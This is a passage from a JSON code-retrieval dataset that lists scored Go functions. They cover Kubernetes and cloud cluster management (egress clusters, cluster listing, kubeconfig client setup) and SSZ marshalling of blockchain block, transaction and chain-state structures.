errcode.GetErrCodeWithMetric(errcode.ErrGettingOrgDstEgressCluster)).\n\t\t\t\t\tMsg(\"Error building the original destination cluster for the given egress cluster config\")\n\t\t\t} else {\n\t\t\t\tegressClusters = append(egressClusters, originalDestinationEgressCluster)\n\t\t\t}\n\t\tdefault:\n\t\t\t// Cluster config has a Host specified, route it based on the Host resolved using DNS.\n\t\t\t// Used for HTTP based clusters\n\t\t\tif cluster, err := getDNSResolvableEgressCluster(config); err != nil {\n\t\t\t\tlog.Error().Err(err).Str(errcode.Kind, errcode.GetErrCodeWithMetric(errcode.ErrGettingDNSEgressCluster)).\n\t\t\t\t\tMsg(\"Error building cluster for the given egress cluster config\")\n\t\t\t} else {\n\t\t\t\tegressClusters = append(egressClusters, cluster)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn egressClusters\n}", "title": "" }, { "docid": "4fb5625fa69799328ef8308e18fef608", "score": "0.49018878", "text": "func TestContainerEngineClient_ListClusters(t *testing.T) {\n\tc, clerr := containerengine.NewContainerEngineClientWithConfigurationProvider(configurationProvider())\n\tfailIfError(t, clerr)\n\n\t// list events for last 5 hour\n\treq := containerengine.ListClustersRequest{\n\t\tCompartmentId: common.String(getCompartmentID()),\n\t}\n\n\tresp, err := c.ListClusters(context.Background(), req)\n\tfailIfError(t, err)\n\tassert.NotEmpty(t, resp)\n}", "title": "" }, { "docid": "4d3e2e7c1a8ae7daac8baefc533a6cbc", "score": "0.48986387", "text": "func (cil ClusterInstanceList) Except(i ClusterInstance) ClusterInstanceList {\n\tresult := ClusterInstanceList{}\n\tfor _, x := range cil {\n\t\tif !x.Equals(i) {\n\t\t\tresult = append(result, x)\n\t\t}\n\t}\n\treturn result\n}", "title": "" }, { "docid": "ac0b6b4cea8ba184ac41d090bdffd03c", "score": "0.48849505", "text": "func isInCluster() bool {\n\tfi, err := os.Stat(\"/var/run/secrets/kubernetes.io/serviceaccount/token\")\n\treturn os.Getenv(\"KUBERNETES_SERVICE_HOST\") != \"\" &&\n\t\tos.Getenv(\"KUBERNETES_SERVICE_PORT\") != \"\" &&\n\t\terr == nil && !fi.IsDir()\n}", "title": "" }, { "docid": "f55f493da99012899bd9d2e99e1cf862", "score": "0.48831296", "text": "func (ctx Context) GetAllNodes() (UniCloudNodes, error) {\n\tvar result UniCloudNodes\n\turl := fmt.Sprintf(\"https://%s:8443/v1/nodes\", ctx.Address)\n\tdata, err := ctx.ucGetDelete(\"GET\", url)\n\tif err == nil {\n\t\terr = json.Unmarshal(data, &result)\n\t}\n\treturn result, err\n}", "title": "" }, { "docid": "4658d9f89168e55bbc815f80456b1557", "score": "0.48762468", "text": "func (c *Controller) findAllClusters() (map[string]spec.Cluster, error) {\n\tservices, err := c.config.Client.ListEtcdServices(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclusters := make(map[string]spec.Cluster)\n\tfor _, s := range services {\n\t\tclient := c.config.Client.Env(s.AccountId)\n\n\t\t// we need to update each service proactively to work around\n\t\t// bugs/limitation of rancher ui service creation\n\t\tif s.Scale > 0 {\n\t\t\ts2 := s\n\t\t\ts2.SelectorContainer = fmt.Sprintf(\"app=etcd,cluster=%s\", s.Id)\n\t\t\ts2.Scale = 0\n\t\t\ts2.StartOnCreate = false\n\t\t\t// we have to adjust the context here from global -> environment to make changes\n\t\t\tranchutil.SetResourceContext(&s.Resource, s.AccountId)\n\t\t\tif _, err := client.Service.Update(&s, &s2); err != nil {\n\t\t\t\tlog.Warnf(\"couldn't update service: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\t// we also need to fetch the stack this service belongs to so we can name\n\t\t// containers appropriately...\n\t\tstackName := \"unknown\"\n\t\tif st, err := client.Stack.ById(s.StackId); err == nil {\n\t\t\tstackName = st.Name\n\t\t}\n\n\t\tcluster := ranchutil.ClusterFromService(s, stackName)\n\t\tclusters[cluster.Metadata.Name] = cluster\n\t}\n\treturn clusters, nil\n}", "title": "" }, { "docid": "eccc9cd2531453612985d4711677f922", "score": "0.48742005", "text": "func getK8sClientSetOutsideClusterConfig() *kubernetes.Clientset {\n\t// use the current context in kubeconfig to create the clientset\n\tvar kubeconfig *string\n\tif home := homeDir(); home != \"\" {\n\t\tkubeconfig = flag.String(\"kubeconfig\", filepath.Join(home, \".kube\", \"config\"), \"(optional) absolute path to the kubeconfig file\")\n\t} else {\n\t\tkubeconfig = flag.String(\"kubeconfig\", \"\", \"absolute path to the kubeconfig file\")\n\t}\n\tflag.Parse()\n\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", *kubeconfig)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tclientset, err := kubernetes.NewForConfig(config)\n\treturn clientset\n}", "title": "" }, { "docid": "3660a8e556e3e7562cb3f7232bb9106b", "score": "0.48727706", "text": "func (sqlStore *SQLStore) GetUnlockedClusterInstallationsPendingWork() ([]*model.ClusterInstallation, error) {\n\n\tbuilder := clusterInstallationSelect.\n\t\tWhere(sq.Eq{\n\t\t\t\"State\": model.AllClusterInstallationStatesPendingWork,\n\t\t}).\n\t\tWhere(\"LockAcquiredAt = 0\").\n\t\tOrderBy(\"CreateAt ASC\")\n\n\tvar clusterInstallations []*model.ClusterInstallation\n\terr := sqlStore.selectBuilder(sqlStore.db, &clusterInstallations, builder)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get cluster installations pending work\")\n\t}\n\n\treturn clusterInstallations, nil\n}", "title": "" }, { "docid": "c7642400e0a0cc4017eb40df39ffa911", "score": "0.48590884", "text": "func (az *Cloud) GetUnmanagedNodes() (sets.String, error) {\n\t// Kubelet won't set az.nodeInformerSynced, always return nil.\n\tif az.nodeInformerSynced == nil {\n\t\treturn nil, nil\n\t}\n\n\taz.nodeCachesLock.RLock()\n\tdefer az.nodeCachesLock.RUnlock()\n\tif !az.nodeInformerSynced() {\n\t\treturn nil, fmt.Errorf(\"node informer is not synced when trying to GetUnmanagedNodes\")\n\t}\n\n\treturn sets.NewString(az.unmanagedNodes.List()...), nil\n}", "title": "" }, { "docid": "dbefd6e7c85f5f2533c46552e49ceb7d", "score": "0.48590562", "text": "func availableClusterDiagnostics() types.DiagnosticList {\n\treturn types.DiagnosticList{\n\t\t&agldiags.AggregatedLogging{},\n\t\tappcreate.NewDefaultAppCreateDiagnostic(),\n\t\t&clustdiags.ClusterRegistry{},\n\t\t&clustdiags.ClusterRouter{},\n\t\t&clustdiags.ClusterRoles{},\n\t\t&clustdiags.ClusterRoleBindings{},\n\t\t&clustdiags.SCC{},\n\t\t&clustdiags.MasterNode{},\n\t\t&clustdiags.MetricsApiProxy{},\n\t\t&clustdiags.NodeDefinitions{},\n\t\t&clustdiags.RouteCertificateValidation{},\n\t\t&clustdiags.ServiceExternalIPs{},\n\t\t&networkdiags.NetworkDiagnostic{},\n\t}\n}", "title": "" }, { "docid": "a707753dafdfd4cf16ff7bb79096f440", "score": "0.4857699", "text": "func (e *ECS) ListClusters(req *ListClustersReq) (\n\t*ListClustersResp, error) {\n\tif req == nil {\n\t\treturn nil, fmt.Errorf(\"The req params cannot be nil\")\n\t}\n\n\tparams := makeParams(\"ListClusters\")\n\tif req.MaxResults > 0 {\n\t\tparams[\"maxResults\"] = strconv.Itoa(int(req.MaxResults))\n\t}\n\tif req.NextToken != \"\" {\n\t\tparams[\"nextToken\"] = req.NextToken\n\t}\n\n\tresp := new(ListClustersResp)\n\tif err := e.query(params, resp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "a2359bdd896d0030bcae5f27b9c38cff", "score": "0.48569578", "text": "func (sink *influxdbSink) GetSystemContainersFromNode(node string) ([]string, error) {\n\tif !nameAllowedChars.MatchString(node) {\n\t\treturn nil, fmt.Errorf(\"Invalid node name %q\", node)\n\t}\n\t// This is a bit difficult for the influx query language, so we cheat a bit here --\n\t// we just get all series for the uptime measurement for system containers on our node\n\t// (any measurement should work here, though)\n\tq := fmt.Sprintf(\"SHOW SERIES FROM %q WHERE %s = '%s' AND type = '%s'\", core.MetricUptime.MetricDescriptor.Name, core.LabelNodename.Key, node, core.MetricSetTypeSystemContainer)\n\treturn sink.stringListQueryCol(q, core.LabelContainerName.Key, fmt.Sprintf(\"Unable to list system containers on node %q\", node))\n}", "title": "" }, { "docid": "451e3c677c15090ceb4392b27f51bc83", "score": "0.48560333", "text": "func List() ([]clusterapi.Cluster, error) {\n\tvar clusterList []clusterapi.Cluster\n\terr := utils.BrowseMetadataContent(clusterapi.ClusterMetadataPrefix, func(buf *bytes.Buffer) error {\n\t\tvar c clusterapi.Cluster\n\t\terr := gob.NewDecoder(buf).Decode(&c)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tclusterList = append(clusterList, c)\n\t\treturn nil\n\t})\n\treturn clusterList, err\n}", "title": "" }, { "docid": "26aab57545a75b2bdaf8295cec60db3a", "score": "0.4855904", "text": "func (c *Client) Cluster(ctx context.Context) ([]NodeInfo, error) {\n\trequest := protocol.Message{}\n\trequest.Init(16)\n\tresponse := protocol.Message{}\n\tresponse.Init(512)\n\n\tprotocol.EncodeCluster(&request, protocol.ClusterFormatV1)\n\n\tif err := c.protocol.Call(ctx, &request, &response); err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to send Cluster request\")\n\t}\n\n\tservers, err := protocol.DecodeNodes(&response)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to parse Node response\")\n\t}\n\n\treturn servers, nil\n}", "title": "" }, { "docid": "37af25a3f4999c7391001c5c13093cdd", "score": "0.48509747", "text": "func disableCluster(c client.Client, clusterName string) error {\n\terr := wait.Poll(pollInterval, pollTimeout, func() (done bool, err error) {\n\t\tclusterObj := &clusterv1alpha1.Cluster{}\n\t\tif err := c.Get(context.TODO(), client.ObjectKey{Name: clusterName}, clusterObj); err != nil {\n\t\t\tif errors.IsConflict(err) {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, err\n\t\t}\n\t\t// set the APIEndpoint of matched cluster to a wrong value\n\t\tunavailableAPIEndpoint := \"https://172.19.1.3:6443\"\n\t\tclusterObj.Spec.APIEndpoint = unavailableAPIEndpoint\n\t\tif err := c.Update(context.TODO(), clusterObj); err != nil {\n\t\t\tif errors.IsConflict(err) {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, err\n\t\t}\n\t\treturn true, nil\n\t})\n\treturn err\n}", "title": "" }, { "docid": "9600a0999121c435efec7ae1c03ceea6", "score": "0.4848941", "text": "func AnyCluster(g InstanceGroup) bool {\n\t_, specific := g.Cluster()\n\treturn !specific\n}", "title": "" }, { "docid": "4ef051b6ec7acbff23b6f8a7f6848fca", "score": "0.48450938", "text": "func OutOfClusterAuthentication(kubeConfig string) (*kubernetes.Clientset, *rest.Config, error) {\n\tif kubeConfig == \"\" {\n\t\tkubeConfig = getKubeConfig()\n\t}\n\n\t// BuildConfigFromFlags is a helper function that builds configs from a master\n\t// url or a kubeconfig filepath.\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", kubeConfig)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// create the clientset\n\tclientset, err := kubernetes.NewForConfig(config)\n\n\treturn clientset, config, err\n}", "title": "" } ]
5a4393858fd1ddaec3fa20482a566cd7
MarshalSSZ ssz marshals the GetBlockDatas object
[ { "docid": "52e3b9b4f958e2ff9766eb7a586f6ec8", "score": "0.80288386", "text": "func (g *GetBlockDatas) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, g.SizeSSZ())\n\treturn g.MarshalSSZTo(buf[:0])\n}", "title": "" } ]
[ { "docid": "afa2a1829827c826e244990205a60c5b", "score": "0.7905684", "text": "func (b *BlockDatas) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, b.SizeSSZ())\n\treturn b.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "b877d9caf48776f96811ff49c086e9dd", "score": "0.7692078", "text": "func (m *MsgGetBlocks) MarshalSSZ() ([]byte, error) {\n\treturn ssz.MarshalSSZ(m)\n}", "title": "" }, { "docid": "99c9605266ec10f69e85dfee22e796bf", "score": "0.7646532", "text": "func (b *BlockData) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, b.SizeSSZ())\n\treturn b.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "db367295721ce08ce297f0dc37e34900", "score": "0.7478806", "text": "func (g *GetBlocks) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, g.SizeSSZ())\n\treturn g.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "4376a95d10c2909c3cb5e14043bb97cf", "score": "0.71570456", "text": "func (d *DagBlocks) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, d.SizeSSZ())\n\treturn d.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "6907727347de079bf5da121d38e6a99a", "score": "0.71317875", "text": "func (m *MerkleBlock) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, m.SizeSSZ())\n\treturn m.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "1d110e4d95ccdca72f1f2065ea719cdb", "score": "0.701445", "text": "func (m *MerkleBlockResponse) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, m.SizeSSZ())\n\treturn m.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "bce206579c64f0d9dfcbe4a826eb7e7b", "score": "0.70077556", "text": "func (b *BlockDatas) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Locator'\n\tdst = ssz.WriteOffset(dst, offset)\n\tfor ii := 0; ii < len(b.Locator); ii++ {\n\t\toffset += 4\n\t\toffset += b.Locator[ii].SizeSSZ()\n\t}\n\n\t// Field (0) 'Locator'\n\tif len(b.Locator) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\t{\n\t\toffset = 4 * len(b.Locator)\n\t\tfor ii := 0; ii < len(b.Locator); ii++ {\n\t\t\tdst = ssz.WriteOffset(dst, offset)\n\t\t\toffset += b.Locator[ii].SizeSSZ()\n\t\t}\n\t}\n\tfor ii := 0; ii < len(b.Locator); ii++ {\n\t\tif dst, err = b.Locator[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "a5dd188a031799c530bb3afa11adf807", "score": "0.69523036", "text": "func (g *GetBlockDatas) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Locator'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(g.Locator) * 32\n\n\t// Field (0) 'Locator'\n\tif len(g.Locator) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(g.Locator); ii++ {\n\t\tif dst, err = g.Locator[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "7df0bbf586542e6d80e552ffe0f6c726", "score": "0.69104874", "text": "func (s *SignedBeaconBlock) MarshalSSZ() ([]byte, error) {\n\treturn ssz.MarshalSSZ(s)\n}", "title": "" }, { "docid": "5a13cb53cd4ad08240e7337f72212f52", "score": "0.687734", "text": "func (t *TxLocator) MarshalSSZ() ([]byte, error) {\n\treturn ssz.MarshalSSZ(t)\n}", "title": "" }, { "docid": "b7ea0dd137ec7237e38f3930fdf69833", "score": "0.68688315", "text": "func (m *MsgGetBlocks) MarshalSSZTo(buf []byte) (dst []byte, err error) {\n\tdst = buf\n\toffset := int(36)\n\n\t// Field (0) 'HashStop'\n\tdst = append(dst, m.HashStop[:]...)\n\n\t// Offset (1) 'LocatorHashes'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(m.LocatorHashes) * 32\n\n\t// Field (1) 'LocatorHashes'\n\tif len(m.LocatorHashes) > 64 {\n\t\terr = ssz.ErrListTooBig\n\t\treturn\n\t}\n\tfor ii := 0; ii < len(m.LocatorHashes); ii++ {\n\t\tdst = append(dst, m.LocatorHashes[ii][:]...)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "178213e99ae390ed06043f32a62e072d", "score": "0.6824297", "text": "func (m *MerkleBlockRequest) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, m.SizeSSZ())\n\treturn m.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "bfbaf3a9e733234b09b9c329c01a11bf", "score": "0.6808621", "text": "func (t *Transaction) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, t.SizeSSZ())\n\treturn t.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "aa4ac1732741dd803b1ac1aa317719e1", "score": "0.6745691", "text": "func (b *BlockData) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'BlockBytes'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(b.BlockBytes)\n\n\t// Field (0) 'BlockBytes'\n\tif len(b.BlockBytes) > 1048576 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, b.BlockBytes...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "9106719d5d1a03e3ace5bcc49dfd69d8", "score": "0.6727814", "text": "func (i *Inventory) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, i.SizeSSZ())\n\treturn i.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "3cc5a43cf5c916eb5d12ec040dffd246", "score": "0.6724628", "text": "func (f *FilterLoadRequest) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, f.SizeSSZ())\n\treturn f.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "84d68d0b66ee8228b05417826a78394b", "score": "0.6705152", "text": "func (m *MerkleBlock) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(20)\n\n\t// Offset (0) 'Header'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(m.Header)\n\n\t// Field (1) 'Transactions'\n\tdst = ssz.MarshalUint64(dst, m.Transactions)\n\n\t// Offset (2) 'Hashes'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(m.Hashes) * 32\n\n\t// Offset (3) 'Flags'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(m.Flags)\n\n\t// Field (0) 'Header'\n\tif len(m.Header) > 256 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, m.Header...)\n\n\t// Field (2) 'Hashes'\n\tif len(m.Hashes) > 104858 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(m.Hashes); ii++ {\n\t\tif dst, err = m.Hashes[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Field (3) 'Flags'\n\tif len(m.Flags) > 256 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, m.Flags...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "0d32ab0be52bf80212e4e0c648f41100", "score": "0.6676423", "text": "func (i *InvVect) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, i.SizeSSZ())\n\treturn i.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "885d97da6850fe06a21103d2e3534fd2", "score": "0.66547334", "text": "func (m *MetaData) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, m.SizeSSZ())\n\treturn m.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "d6334a762dffd08c075f4fdf0092a762", "score": "0.6634764", "text": "func (s *SyncDAG) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, s.SizeSSZ())\n\treturn s.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "5171b4818f711a9444367a26b94673cf", "score": "0.66177326", "text": "func (c *ChainState) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, c.SizeSSZ())\n\treturn c.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "5922031cbc8c2fbeb4943bfcbc38340f", "score": "0.6577166", "text": "func (g *GetBlocks) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Locator'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(g.Locator) * 32\n\n\t// Field (0) 'Locator'\n\tif len(g.Locator) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(g.Locator); ii++ {\n\t\tif dst, err = g.Locator[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "dc579db479d00fb1f6dca319d9224d53", "score": "0.65734196", "text": "func (f *Fork) MarshalSSZ() ([]byte, error) {\n\treturn ssz.MarshalSSZ(f)\n}", "title": "" }, { "docid": "a7ad73bfabcbfe22ae213429c96ab262", "score": "0.6550346", "text": "func (s *SubDAG) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, s.SizeSSZ())\n\treturn s.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "1c74267fa7b7929c0bd879396525e2b7", "score": "0.652536", "text": "func (h *Hash) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, h.SizeSSZ())\n\treturn h.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "af2e6a761f54724dd2a417c61b66ca3d", "score": "0.64565367", "text": "func (m *MerkleBlockResponse) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Data'\n\tdst = ssz.WriteOffset(dst, offset)\n\tfor ii := 0; ii < len(m.Data); ii++ {\n\t\toffset += 4\n\t\toffset += m.Data[ii].SizeSSZ()\n\t}\n\n\t// Field (0) 'Data'\n\tif len(m.Data) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\t{\n\t\toffset = 4 * len(m.Data)\n\t\tfor ii := 0; ii < len(m.Data); ii++ {\n\t\t\tdst = ssz.WriteOffset(dst, offset)\n\t\t\toffset += m.Data[ii].SizeSSZ()\n\t\t}\n\t}\n\tfor ii := 0; ii < len(m.Data); ii++ {\n\t\tif dst, err = m.Data[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "793503df8309bd8f22699cb185f2f9f3", "score": "0.64472383", "text": "func (g *GraphState) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, g.SizeSSZ())\n\treturn g.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "8329af171e66ce5952b319af31cc9a3b", "score": "0.6364296", "text": "func (m *MemPoolRequest) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, m.SizeSSZ())\n\treturn m.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "56139251be1725850e2440805ca03491", "score": "0.63592577", "text": "func (f *FilterAddRequest) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, f.SizeSSZ())\n\treturn f.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "4b3c2e28389908ad46227a20bc878f60", "score": "0.63475406", "text": "func (s *SyncQNR) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, s.SizeSSZ())\n\treturn s.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "ed08e2c863d4b2035bcc37ec7f36c1d8", "score": "0.63469386", "text": "func (d *DagBlocks) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Blocks'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(d.Blocks) * 32\n\n\t// Field (0) 'Blocks'\n\tif len(d.Blocks) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(d.Blocks); ii++ {\n\t\tif dst, err = d.Blocks[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "646685aeac1e41462ecbe3af54eea9d4", "score": "0.6330372", "text": "func (m *MsgProofs) MarshalSSZ() ([]byte, error) {\n\treturn ssz.MarshalSSZ(m)\n}", "title": "" }, { "docid": "f280817915c1b4640a26c1d0097e64c2", "score": "0.6324385", "text": "func (f *FilterClearRequest) MarshalSSZ() ([]byte, error) {\n\tbuf := make([]byte, f.SizeSSZ())\n\treturn f.MarshalSSZTo(buf[:0])\n}", "title": "" }, { "docid": "b00a92d3bbeb3eec5b5f470ebdeec239", "score": "0.6131606", "text": "func (b *BlockDatas) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Locator'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Locator'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, err := ssz.DecodeDynamicLength(buf, 2000)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tb.Locator = make([]*BlockData, num)\n\t\terr = ssz.UnmarshalDynamic(buf, num, func(indx int, buf []byte) (err error) {\n\t\t\tif b.Locator[indx] == nil {\n\t\t\t\tb.Locator[indx] = new(BlockData)\n\t\t\t}\n\t\t\tif err = b.Locator[indx].UnmarshalSSZ(buf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "36000edb69613f3ad7e57bcea6b20ae6", "score": "0.6127286", "text": "func (t *TxLocator) MarshalSSZTo(buf []byte) (dst []byte, err error) {\n\tdst = buf\n\n\t// Field (0) 'Hash'\n\tdst = append(dst, t.Hash[:]...)\n\n\t// Field (1) 'Block'\n\tdst = append(dst, t.Block[:]...)\n\n\t// Field (2) 'Index'\n\tdst = ssz.MarshalUint64(dst, t.Index)\n\n\treturn\n}", "title": "" }, { "docid": "34561933e7489ed376f04002f3e415cd", "score": "0.61188906", "text": "func (b *BlockDatas) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Locator'\n\tfor ii := 0; ii < len(b.Locator); ii++ {\n\t\tsize += 4\n\t\tsize += b.Locator[ii].SizeSSZ()\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "9a4f2cbc69f3b8203e977ec6eb3f98d5", "score": "0.60292214", "text": "func (g *GetBlockDatas) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Locator'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Locator'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\tg.Locator = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif g.Locator[ii] == nil {\n\t\t\t\tg.Locator[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = g.Locator[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "89594d4e6c51d6ee13d4749caf716cd2", "score": "0.602681", "text": "func (m *MerkleBlockRequest) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Hashes'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(m.Hashes) * 32\n\n\t// Field (0) 'Hashes'\n\tif len(m.Hashes) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(m.Hashes); ii++ {\n\t\tif dst, err = m.Hashes[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "83f2816e9cceb57f11e87b01c644316e", "score": "0.5987251", "text": "func (s *SubDAG) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(40)\n\n\t// Field (0) 'SyncPoint'\n\tif s.SyncPoint == nil {\n\t\ts.SyncPoint = new(Hash)\n\t}\n\tif dst, err = s.SyncPoint.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Offset (1) 'GraphState'\n\tdst = ssz.WriteOffset(dst, offset)\n\tif s.GraphState == nil {\n\t\ts.GraphState = new(GraphState)\n\t}\n\toffset += s.GraphState.SizeSSZ()\n\n\t// Offset (2) 'Blocks'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(s.Blocks) * 32\n\n\t// Field (1) 'GraphState'\n\tif dst, err = s.GraphState.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Field (2) 'Blocks'\n\tif len(s.Blocks) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(s.Blocks); ii++ {\n\t\tif dst, err = s.Blocks[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": 